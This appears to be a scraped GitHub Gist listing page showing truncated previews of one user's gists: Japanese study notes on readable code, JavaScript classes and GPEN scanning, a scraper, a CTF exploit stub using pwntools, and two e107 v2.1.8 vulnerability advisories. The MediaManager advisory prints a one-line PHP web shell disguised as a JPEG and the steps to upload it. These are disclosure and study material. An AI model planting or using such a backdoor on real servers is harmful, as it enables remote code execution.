Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

リーダブルコード 13章 - 短いコードを書く

プログラマが学ぶべき最も大切な技能は、コードを書かないですむときを見極めることかもしれない

できるだけコードを書かないための方法

  • 不必要な機能を削除する。過剰な機能は持たせない
  • 汎用的なユーティリティを作って使いまわす
  • 定期的にすべてのAPIを読んで、標準ライブラリに慣れ親しんでおく

不必要な機能の削除

@ommadawn46
ommadawn46 / javascript_class.md
Last active December 8, 2020 01:16
Javascriptのclass構文について調べたこと

Javascriptのclass構文について

class構文

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Classes

  • ECMAScript 6で追加された
  • 昔はprototypeを利用してクラス的な振る舞いをするオブジェクトを作成することが多かったが、class構文を使えば簡単にクラスを扱うことができる
    class Polygon {
      constructor(height, width) {
        this.height = height;
@ommadawn46
ommadawn46 / generate_payloads.py
Last active September 7, 2020 10:02
InterKosenCTF2020_authme
from pwn import *
import sys
username_addr = 0x6020C0
password_addr = 0x6020E0
call_printf_addr = 0x04009B6
pop_rdi = 0x0000000000400B03 # pop rdi ; ret
with open("username_payload", "wb") as f:

GPEN学習メモ

  • SYNスキャンとTCPスキャン
    • TCPスキャン
      • スリーウェイハンドシェイクのシーケンスが実行される
      • 通信が確立されてしまうので、ログに残りやすい
    • SYNスキャン
      • 完全なTCP接続の確立を行わない
      • ハーフオープンスキャン、ステルススキャンとも呼ばれる
      • SYNパケットを送りつけて、SYN/ACKが返ってきたら稼働中とする
from html.parser import HTMLParser
from urllib.request import urlopen
from datetime import datetime
import json
import csv
import sys
import re
import os
# エラーログのパス
from html.parser import HTMLParser
from urllib.request import urlopen
from datetime import datetime
import json
import csv
import sys
import re
# エラーログのパス
ERRORLOG = 'error.log'
import json
def convertToStr(data):
if type(data) is unicode:
data = data.encode('utf-8')
elif not type(data) is str:
data = str(data)
return data
def writerow(f, cols):
@ommadawn46
ommadawn46 / e107_v2.1.8_Banlist_SQL_Injection.md
Last active September 7, 2018 10:45
e107 v2.1.8 Banlist SQL Injection

Description

e107 v2.1.8 contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /e107_admin/banlist.php script not properly escaping input to the old_ip parameter. This may allow a remote attacker to inject or manipulate SQL queries in the database, allowing for the manipulation or disclosure of arbitrary data.

Reproduce

  1. Login to the admin page. (/e107_admin/admin.php)
  2. Send a POST request to /e107_admin/banlist.php and use BurpSuite to rewrite parameters as follows.
POST /e107/e107_admin/banlist.php HTTP/1.1
Host: localhost:8080
@ommadawn46
ommadawn46 / e107_v2.1.8_MediaManager_bypass_filetype_check.md
Last active September 7, 2018 10:45
e107 v2.1.8 MediaManager bypass filetype check

Description

MediaManager of e107 v2.1.8 contains a flaw that is triggered as file types and extensions for uploaded files are not properly validated before being placed in a user-accessible path. This may allow a remote attacker to upload a file and then request it in order to execute arbitrary code with the privileges of the web service.

Reproduce

  1. Login to the admin page (/e107_admin/admin.php) and access MediaManager.

  2. Make a backdoor PHP file named "backdoor.jpg" to bypass JavaScript filter and select it on MediaManeger.

<?php system($_GET['q']) ?>

リーダブルコード 9章 - 変数と読みやすさ

コードを読みづらくする3つの変数の使い方

  • 無駄な変数が多い

    • 説明にならない邪魔な変数は削除する
  • 変数のスコープが大きい

    • 変数を数行のコードからのみ見える位置に移動する
  • 変数の値が頻繁に変更される